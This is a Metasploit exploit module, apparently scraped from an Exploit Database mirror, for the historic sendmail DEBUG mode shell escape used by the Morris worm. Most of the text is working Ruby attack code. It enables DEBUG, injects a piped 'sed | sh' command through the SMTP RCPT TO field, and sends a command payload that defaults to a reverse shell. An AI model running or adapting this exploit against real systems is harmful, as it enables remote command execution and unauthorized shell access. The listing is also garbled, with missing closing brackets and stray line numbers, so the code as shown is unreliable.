Morris Worm – sendmail Debug Mode Shell Escape (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2018-11-06
类别：
- remote
平台：
- unix
来源：https://www.exploit-db.com/exploits/45789/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'expect'

class MetasploitModule < Msf::Exploit::Remote

# cmd/unix/reverse spams the session with Telnet codes on EOF

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',

'Description'=> %q{

This module exploits sendmail's well-known historical debug mode to

escape to a shell and execute commands in the SMTP RCPT TO command.

This vulnerability was exploited by the Morris worm in 1988-11-02.

Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

Currently only cmd/unix/reverse and cmd/unix/generic are supported.

'Author' => [

'Robert Tappan Morris', # Exploit and worm for sure

'Cliff Stoll',# The Cuckoo's Egg inspiration

'wvu' # Module and additional research

'References' => [

['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History

['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],# Analysis

['URL', 'https://github.com/arialdomartini/morris-worm'], # Source

['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup

'DisclosureDate' => 'Nov 2 1988',

'License'=> MSF_LICENSE,

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Privileged' => false, # DefUid in src/conf.c, usually "daemon"

'Payload'=> {'Compat' => {'RequiredCmd' => 'generic telnet'}},

'Targets'=> [

# https://en.wikipedia.org/wiki/Source_Code_Control_System

['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]

'DefaultTarget'=> 0,

'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}

))

register_options([Opt::RPORT(25)])

register_advanced_options([

OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5])

])

end

def check

checkcode = CheckCode::Safe

connect

res = sock.get_once

return CheckCode::Unknown unless res

if res =~ /^220.*Sendmail/

checkcode = CheckCode::Detected

end

sock.put("DEBUG\r\n")

res = sock.get_once

return checkcode unless res

if res.start_with?('200 Debug set')

checkcode = CheckCode::Appears

end

checkcode

rescue Rex::ConnectionError => e

vprint_error(e.message)

CheckCode::Unknown

ensure

disconnect

end

def exploit

# We don't care who the user is, so randomize it

from = rand_text_alphanumeric(8..42)

# Strip mail header with sed(1), pass to sh(1), and ensure a clean exit

to = %("| sed '1,/^$/d' | sh; exit 0")

# We don't have $PATH, so set one

path = '/bin:/usr/bin:/usr/ucb:/etc'

sploit = {

nil => /220.*Sendmail/,

'DEBUG' => /200 Debug set/,

"MAIL FROM:<#{from}>" => /250.*Sender ok/,

"RCPT TO:<#{to}>" => /250.*Recipient ok/,

'DATA'=> /354 Enter mail/,

# Indent PATH= so it's not interpreted as part of the mail header

" PATH=#{path}" => nil,

'export PATH' => nil,

payload.encoded => nil,

'.' => /250 Ok/,

'QUIT'=> /221.*closing connection/

}

print_status('Connecting to sendmail')

connect

print_status('Enabling debug mode and sending exploit')

sploit.each do |line, pattern|

Timeout.timeout(datastore['SendExpectTimeout']) do

if line

print_status("Sending: #{line}")

sock.put("#{line}\r\n")

end

if pattern

vprint_status("Expecting: #{pattern.inspect}")

sock.expect(pattern) do |pat|

return unless pat

vprint_good("Received: #{pat.first}")

end

rescue Rex::ConnectionError => e

fail_with(Failure::Unreachable, e.message)

rescue Timeout::Error

fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')

ensure

disconnect

end

def on_new_session(session)

print_warning("Do NOT type `exit', or else you may lose further shells!")

print_warning('Hit ^C to abort the session instead, please and thank you')

end